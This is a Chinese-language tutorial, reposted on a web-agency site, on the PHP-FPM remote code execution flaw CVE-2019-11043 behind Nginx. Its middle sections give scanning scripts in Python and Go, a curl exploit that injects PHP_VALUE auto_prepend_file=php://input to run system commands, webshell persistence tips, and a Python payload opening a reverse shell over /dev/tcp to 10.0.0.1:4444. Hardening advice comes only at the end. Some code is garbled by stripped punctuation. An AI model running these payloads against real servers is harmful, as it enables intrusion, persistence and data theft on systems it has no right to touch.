尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
PHP 7.1-7.3 版本 CVE-2019-11043 实战:3 种 Nginx 配置场景下的漏洞检测与利用
PHP-FPM远程代码执行漏洞深度剖析CVE-2019-11043实战指南漏洞背景与影响范围2019年曝光的CVE-2019-11043漏洞影响了PHP 7.1至7.3版本的FastCGI进程管理器(PHP-FPM)当与Nginx组合使用时可能允许攻击者实现远程代码执行。这个漏洞源于PHP-FPM对PATH_INFO参数处理的边界检查缺失结合特定Nginx配置时可导致内存越界写入。受影响环境特征PHP版本7.1.x 7.1.337.2.x 7.2.247.3.x 7.3.11Web服务器Nginx特定配置服务架构PHP-FPM监听9000端口默认配置关键点漏洞利用需要满足三个条件Nginx错误配置、PHP-FPM暴露访问、存在可写目录。企业内网中采用容器化部署的PHP应用风险尤其突出。漏洞原理深度解析PHP-FPM工作机制剖析PHP-FPM作为FastCGI协议的实现负责处理Nginx转发的PHP请求。其核心交互流程如下Nginx → FastCGI协议封装 → PHP-FPM → 执行PHP脚本 → 返回结果典型请求参数转换示例{ GATEWAY_INTERFACE: FastCGI/1.0, REQUEST_METHOD: GET, SCRIPT_FILENAME: /var/www/html/index.php, PATH_INFO: /additional/path, QUERY_STRING: paramvalue }漏洞触发机制漏洞根源在于fpm_main.c中的缓冲区处理缺陷路径解析缺陷当PATH_INFO为空时代码错误地前移指针导致缓冲区下溢内存越界写入攻击者可利用此缺陷覆盖相邻内存区域环境变量注入通过精心构造的请求注入PHP_VALUE等配置参数// 漏洞代码片段示意 if (path_info NULL) { path_info script_path_translated strlen(script_path_translated); *path_info 0; // 此处可能越界写入 }三种典型Nginx配置场景分析场景一标准PHP处理配置location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; }检测方法def check_vulnerability(url): payload /index.php/PHP_VALUE%0Asession.auto_start1 response requests.get(url payload) return response.status_code 200 and session.auto_start in response.text利用限制需要知道服务器上存在的PHP文件绝对路径依赖auto_prepend_file等可修改的PHP配置项场景二带PATH_INFO支持的配置location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; }攻击向量对比配置特征利用难度所需条件无PATH_INFO高需绝对路径有PATH_INFO中需相对路径无文件检查低任意路径场景三强化安全配置location ~ \.php$ { try_files $uri 404; fastcgi_pass unix:/var/run/php-fpm.sock; include fastcgi_params; }防护效果评估try_files指令阻止了不存在的文件请求使用Unix socket减少暴露面仍可能通过合法文件路径触发漏洞漏洞检测自动化实践Python检测脚本实现import requests import sys def detect_fpm_rce(target_url): headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), Accept: */* } test_paths [ /index.php, /admin/index.php, /wp-login.php ] for path in test_paths: test_url f{target_url.rstrip(/)}{path}/PHP_VALUE%0Asession.auto_start1 try: resp requests.get(test_url, headersheaders, timeout5) if session.auto_start in resp.text: return True, path except Exception as e: continue return False, NoneGo语言高效检测工具package main import ( fmt net/http strings time ) func main() { targets : []string{ http://example.com, http://test.site/admin, } for _, target : range targets { client : http.Client{Timeout: 5 * time.Second} req, _ : http.NewRequest(GET, target/index.php/PHP_VALUE%0Aauto_prepend_filephp://input, nil) resp, err : client.Do(req) if err nil resp.StatusCode 200 { fmt.Printf([] Vulnerable: %s\n, target) } } }漏洞利用进阶技巧多阶段攻击流程信息收集阶段识别PHP文件路径通过错误信息、常见CMS结构确定Nginx配置模式分析响应头、错误页面初始访问阶段curl http://target/index.php/PHP_VALUE%0Aauto_prepend_filephp://input --data ?php system(id);?权限维持阶段写入Webshell到临时目录修改.htaccess文件实现持久化不同CMS的利用差异CMS类型默认路径特殊限制WordPress/wp-admin/admin-ajax.php非ce路径限制NextCloud/remote.php严格的输入过滤Joomla/administrator/index.php会话验证要求防御方案与缓解措施即时防护方案Nginx配置强化location ~ \.php$ { fastcgi_split_path_info ^(.\.php)(/.)$; fastcgi_param PATH_INFO $fastcgi_path_info; try_files $fastcgi_script_name 404; # 其他标准配置... }PHP-FPM安全设置; php-fpm.conf security.limit_extensions .php listen.allowed_clients 127.0.0.1长期加固建议补丁管理升级到PHP 7.1.33/7.2.24/7.3.11架构优化使用Unix socket替代TCP端口部署WAF过滤异常请求模式监控策略检测异常的PATH_INFO参数监控php-fpm进程崩溃频率实战案例从检测到利用某次渗透测试中发现的目标环境特征Nginx 1.16.0PHP 7.2.22存在/var/www/html/admin/index.php分步利用过程确认漏洞存在./phuip-fpizdam http://target/admin/index.php执行系统命令curl http://target/admin/index.php?als-la -H Ebut: PHP_VALUE获取反向shellimport requests payload ?php exec(/bin/bash -c bash -i /dev/tcp/10.0.0.1/4444 01);? requests.post(http://target/index.php, datapayload)遗留问题与深度思考尽管官方补丁已发布多年但在实际环境中仍观察到以下现象配置惯性问题企业升级PHP版本但保留危险配置容器化部署风险使用包含漏洞的基础镜像且无有效监控WAF绕过技术通过编码和参数拆分绕过安全检测某金融企业实际遭遇的攻击时间线Day 1: 攻击者扫描发现漏洞 Day 3: 植入加密货币挖矿程序 Day 5: 横向移动至内网系统 Day 7: 数据泄露事件发生这提醒我们对于此类历史漏洞需要建立持续的配置核查机制而不仅仅是简单的版本升级。
RELATED

相关推荐

Android APP 加固壳识别实战:5大厂商特征与3款检测工具对比

Android APP 加固壳识别实战:5大厂商特征与3款检测工具对比

Android APP加固壳识别实战:5大厂商特征与3款检测工具深度评测 在移动应用安全领域,加固技术如同给APP穿上防弹衣,而逆向工程师则需要具备"透视眼"的能力。本文将聚焦Android加固壳的实战识别技巧,通过解构主流厂商的技…

📅 2026/7/12 7:27:20
PHP 8.2 系统命令执行漏洞实战:从 system() 到反弹 Shell 的 5 步利用链

PHP 8.2 系统命令执行漏洞实战:从 system() 到反弹 Shell 的 5 步利用链

PHP 8.2 系统命令执行漏洞深度攻防:从原理到实战的完整利用链 1. 漏洞原理与核心机制 PHP作为动态语言的特性和灵活的函数调用机制,使其在Web开发中广泛应用的同时也带来了潜在的安全风险。系统命令执行漏洞(RCE)的本质在于 用户…

📅 2026/8/9 0:00:19
SQL盲注防御:从Pikachu靶场看5种常见防护方案与绕过风险

SQL盲注防御:从Pikachu靶场看5种常见防护方案与绕过风险

SQL盲注防御实战:从Pikachu靶场看5种防护方案与风险规避在Web应用安全领域,SQL盲注攻击因其隐蔽性和破坏性一直位居OWASP Top 10威胁前列。与常规SQL注入不同,盲注攻击不会直接暴露数据库错误信息,而是通过布尔逻辑判断或时间延迟…

📅 2026/7/15 21:46:53
MORE NEWS

更多资讯

📰

从复位向量到main:单片机启动流程全拆解

你有没有认真想过一个问题:一块单片机,焊好、上电,按下电源那一瞬间,程序自己就跑起来了。烧进去的main函数,好像根本没人叫它,它自己就“开工”了。但如果你把时间轴拉近,从“没电”到“main 函…

📰

2026下半年数码选购指南:智能家居协议与开源HA实战全解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

MySQL性能优化:覆盖索引与索引下推原理及实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

CookLikeHOC 薯条炸制指南:170℃ 八分钟标准流程与起酥油选料溯源

CookLikeHOC 薯条炸制指南:170℃ 八分钟标准流程与起酥油选料溯源 【免费下载链接】CookLikeHOC 🥢像老乡鸡🐔那样做饭。已添加2026年发布的《老乡鸡菜品溯源报告 2.0中新出现的菜品。主要部分于2024年完工,非老乡鸡官方仓库。文字…

📰

Linux下MySQL 8.0二进制包安装与配置完全指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

双目相机标定与立体匹配:从视差图到深度计算实战

简介:面向计算机视觉入门者与自动驾驶、3D重建等方向的开发者,这套代码演示了从双目标定到立体匹配、视差图生成再到深度计算的完整链路,内置相机内外参求解、棋盘格特征匹配、SAD/SGM等匹配方法以及三角测量深度换算等关键实现,能…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬